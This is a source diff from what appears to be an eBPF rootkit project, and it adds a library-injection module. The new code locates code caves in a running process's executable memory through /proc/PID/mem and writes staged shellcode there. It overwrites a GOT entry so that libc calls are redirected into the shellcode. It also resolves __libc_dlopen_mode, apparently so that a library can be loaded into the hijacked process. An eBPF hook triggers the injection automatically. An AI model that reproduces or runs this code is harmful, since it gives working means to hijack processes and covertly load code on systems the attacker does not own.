if(config.exec_module.all == ON){
|
||||
ret = attach_exec_all(attr.skel);
|
||||
}else{
|
||||
if(config.exec_module.tp_sys_enter_execve == ON) ret = attach_tp_sys_enter_execve(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//INJECTION
|
||||
if(config.injection_module.all == ON){
|
||||
ret = attach_injection_all(attr.skel);
|
||||
}else{
|
||||
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
|
||||
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -25,10 +25,22 @@ typedef struct module_config_t{
|
||||
|
||||
struct fs_module {
|
||||
char all;
|
||||
char kprobe_ksys_read;
|
||||
char kretprobe_vfs_read;
|
||||
char tp_sys_enter_read;
|
||||
char tp_sys_exit_read;
|
||||
char tp_sys_enter_openat;
|
||||
}fs_module;
|
||||
|
||||
struct exec_module {
|
||||
char all;
|
||||
char tp_sys_enter_execve;
|
||||
}exec_module;
|
||||
|
||||
struct injection_module {
|
||||
char all;
|
||||
char sys_enter_timerfd_settime;
|
||||
char sys_exit_timerfd_settime;
|
||||
}injection_module;
|
||||
|
||||
} module_config_t;
|
||||
|
||||
//Configuration struct. Used by the module manager to
|
||||
@@ -48,6 +60,14 @@ typedef struct module_config_attr_t{
|
||||
void* __empty;
|
||||
}fs_module;
|
||||
|
||||
struct exec_module_attr {
|
||||
void* __empty;
|
||||
}exec_module;
|
||||
|
||||
struct injection_module_attr {
|
||||
void* __empty;
|
||||
}injection_module;
|
||||
|
||||
} module_config_attr_t;
|
||||
|
||||
//An unique module configutation struct and attr
|
||||
|
||||
123
src/user/include/utils/mem/code_caver.h
Normal file
123
src/user/include/utils/mem/code_caver.h
Normal file
@@ -0,0 +1,123 @@
|
||||
#ifndef __MEM_CODE_CAVER_H
|
||||
#define __MEM_CODE_CAVER_H
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include "../common/constants.h"
|
||||
|
||||
#define CODE_CAVE_LENGTH_BYTES 0x40
|
||||
#define NULL_BYTE 0x00
|
||||
|
||||
__u64 cave_find(int mem_fd, int cave_length, __u64 from, __u64 to){
|
||||
int null_counter = 0;
|
||||
lseek(mem_fd, from, SEEK_SET);
|
||||
for(__u64 ii = from; ii<to; ii++){
|
||||
char c;
|
||||
read(mem_fd, &c, 1);
|
||||
if(c == NULL_BYTE){
|
||||
null_counter++;
|
||||
}else{
|
||||
null_counter = 0;
|
||||
}
|
||||
if(null_counter >= CODE_CAVE_LENGTH_BYTES){
|
||||
printf("Found code cave at %llx\n", ii);
|
||||
return ii;
|
||||
}
|
||||
}
|
||||
printf("Cave not found between %llx and %llx\n", from, to);
|
||||
return 0;
|
||||
}
|
||||
|
||||
__u64 code_cave_find_address(int mem_fd, __u64 from, __u64 to, char flags[], __u32 pgoff, __u32 major, __u32 minor, __u64 ino){
|
||||
__u64 cave_addr;
|
||||
cave_addr = cave_find(mem_fd, CODE_CAVE_LENGTH_BYTES, from, to);
|
||||
|
||||
return cave_addr;
|
||||
}
|
||||
|
||||
|
||||
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr, __u64 syscall_addr){
|
||||
//Writing the code cave address in the GOT section, future calls to libc will be redirected
|
||||
size_t len = sizeof(__u64);
|
||||
__u64 buf_n = (__u64)cave_addr;
|
||||
lseek(mem_fd, got_addr, SEEK_SET);
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
|
||||
perror("Error while writing at GOT");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
//First part of shellcode
|
||||
len = CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN;
|
||||
char* buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_1;
|
||||
lseek(mem_fd, cave_addr, SEEK_SET);
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
|
||||
perror("Error while writing shellcode 1");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
//Writing malloc address
|
||||
len = sizeof(__u64);
|
||||
buf_n = (__u64)malloc_addr;
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
|
||||
perror("Error while writing malloc address");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
//Second part of shellcode
|
||||
len = CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN;
|
||||
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_2;
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
|
||||
perror("Error while writing shellcode 2");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
//Writing dlopen address
|
||||
len = sizeof(__u64);
|
||||
buf_n = (__u64)dlopen_addr;
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
|
||||
perror("Error while writing dlopen address");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
//Third part of shellcode
|
||||
len = CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN;
|
||||
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_3;
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
|
||||
perror("Error while writing shellcode 3");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
//A trick to jump to a selected location
|
||||
len = sizeof(__u64);
|
||||
buf_n = (__u64)syscall_addr;
|
||||
for(size_t ii=0; ii<len; ii++){
|
||||
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
|
||||
perror("Error while writing syscall address");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
printf("Finished writing shellcode at %llx, syscall_addr %llx\n", cave_addr, syscall_addr);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
71
src/user/include/utils/mem/injection.h
Normal file
71
src/user/include/utils/mem/injection.h
Normal file
@@ -0,0 +1,71 @@
|
||||
#ifndef __MEM_INJECTION_EXT_H
|
||||
#define __MEM_INJECTION_EXT_H
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include "../common/constants.h"
|
||||
#include "../common/map_common.h"
|
||||
|
||||
#include "code_caver.h"
|
||||
|
||||
int manage_injection(const struct rb_event* event){
|
||||
char mem_file_name[100];
|
||||
__u64 buf = (__u64)CODE_CAVE_ADDRESS_STATIC;
|
||||
int mem_fd;
|
||||
|
||||
|
||||
memset( (void*)mem_file_name, 0, 100);
|
||||
|
||||
printf("Injecting at PID %d at %llx\n", event->pid, event->got_address);
|
||||
|
||||
sprintf(mem_file_name, "/proc/%d/mem", event->pid);
|
||||
mem_fd = open(mem_file_name, O_RDWR);
|
||||
//lseek(mem_fd, event->got_address, SEEK_SET);
|
||||
|
||||
/*for(int ii=0; ii<sizeof(__u64); ii++){
|
||||
if(write(mem_fd, (void*)&buf+ii, 1) < 0 ){
|
||||
perror("Error while writing at GOT");
|
||||
return -1;
|
||||
}
|
||||
}*/
|
||||
|
||||
//Parsing /proc/pid/maps.
|
||||
//Note that addresses usually appear as 32-bit when catting, but this is not completely true, 0s are ommitted
|
||||
//Considering them as 64-bit
|
||||
char *maps_file = calloc(512, sizeof(char));
|
||||
FILE *f;
|
||||
sprintf(maps_file, "/proc/%d/maps", event->pid);
|
||||
f = fopen(maps_file, "rt");
|
||||
while (fgets(maps_file, 512, f)) {
|
||||
__u32 pgoff, major, minor;
|
||||
__u64 from, to, ino;
|
||||
char flags[4];
|
||||
sscanf(maps_file, "%llx-%llx %4c %x %x:%x %llu ", &from, &to, flags, &pgoff, &major, &minor, &ino);
|
||||
printf("MAPS: %s\n", maps_file);
|
||||
|
||||
//Parse flags, find executable one
|
||||
if(flags[2] == 'x'){
|
||||
//Candidate for code cave finding
|
||||
__u64 cave_addr = code_cave_find_address(mem_fd, from, to, flags, pgoff, major, minor, ino);
|
||||
if(cave_addr!=0){
|
||||
//Found valid cave.
|
||||
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address, event->syscall_address)<0){
|
||||
printf("Continuing with next cave candidate. Some writes might have been performed already\n");
|
||||
}
|
||||
printf("Successfully hijacked GOT\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
free(maps_file);
|
||||
close(mem_fd);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -7,6 +7,8 @@
|
||||
#include <linux/if_link.h>
|
||||
#include <net/if.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
#include <link.h>
|
||||
|
||||
#include <bpf/bpf.h>
|
||||
|
||||
@@ -18,14 +20,13 @@
|
||||
#include "include/utils/strings/regex.h"
|
||||
#include "include/utils/structures/fdlist.h"
|
||||
#include "include/modules/module_manager.h"
|
||||
|
||||
#include "include/utils/mem/injection.h"
|
||||
#define ABORT_IF_ERR(err, msg)\
|
||||
if(err<0){\
|
||||
fprintf(stderr, msg);\
|
||||
goto cleanup\
|
||||
}
|
||||
|
||||
|
||||
static struct env {
|
||||
bool verbose;
|
||||
} env;
|
||||
@@ -95,7 +96,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
tm = localtime(&t);
|
||||
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
|
||||
|
||||
|
||||
//Before parsing any data, check the type
|
||||
if(e->event_type == INFO){
|
||||
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
||||
}else if(e->event_type == DEBUG){
|
||||
@@ -104,6 +105,12 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
|
||||
}else if(e->event_type == EXIT){
|
||||
|
||||
}else if(e->event_type == VULN_SYSCALL){
|
||||
//eBPF detected syscall which can lead to library injection
|
||||
printf("%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
|
||||
if(manage_injection(e)<0){
|
||||
printf("Library injection failed\n");
|
||||
}
|
||||
}else{
|
||||
printf("UNRECOGNIZED RB EVENT RECEIVED");
|
||||
return -1;
|
||||
@@ -201,6 +208,7 @@ int main(int argc, char**argv){
|
||||
|
||||
module_config_attr.skel = skel;
|
||||
err = setup_all_modules();
|
||||
|
||||
// Set up ring buffer polling --> Main communication buffer kernel->user
|
||||
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);
|
||||
if (rb==NULL) {
|
||||
@@ -209,6 +217,23 @@ int main(int argc, char**argv){
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
struct link_map *lm;
|
||||
off_t offset = 0;
|
||||
unsigned long long dlopenAddr;
|
||||
lm = dlopen("libc.so.6", RTLD_LAZY);
|
||||
if(lm==0){
|
||||
perror("Error obtaining libc symbols");
|
||||
return -1;
|
||||
}
|
||||
dlopenAddr = (unsigned long long)dlsym((void*)lm, "__libc_dlopen_mode");
|
||||
printf("libdl: %lx\n", lm->l_addr);
|
||||
printf("dlopen: %llx\n", dlopenAddr);
|
||||
offset = dlopenAddr - lm->l_addr;
|
||||
printf("Offset: %lx\n", offset);
|
||||
|
||||
//Once we have the offset of libc we proceed to uprobe our target program
|
||||
|
||||
|
||||
//Now wait for messages from ebpf program
|
||||
printf("Filter set and ready\n");
|
||||
while (!exiting) {
|
||||
@@ -243,4 +268,4 @@ cleanup:
|
||||
if(err!=0) return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user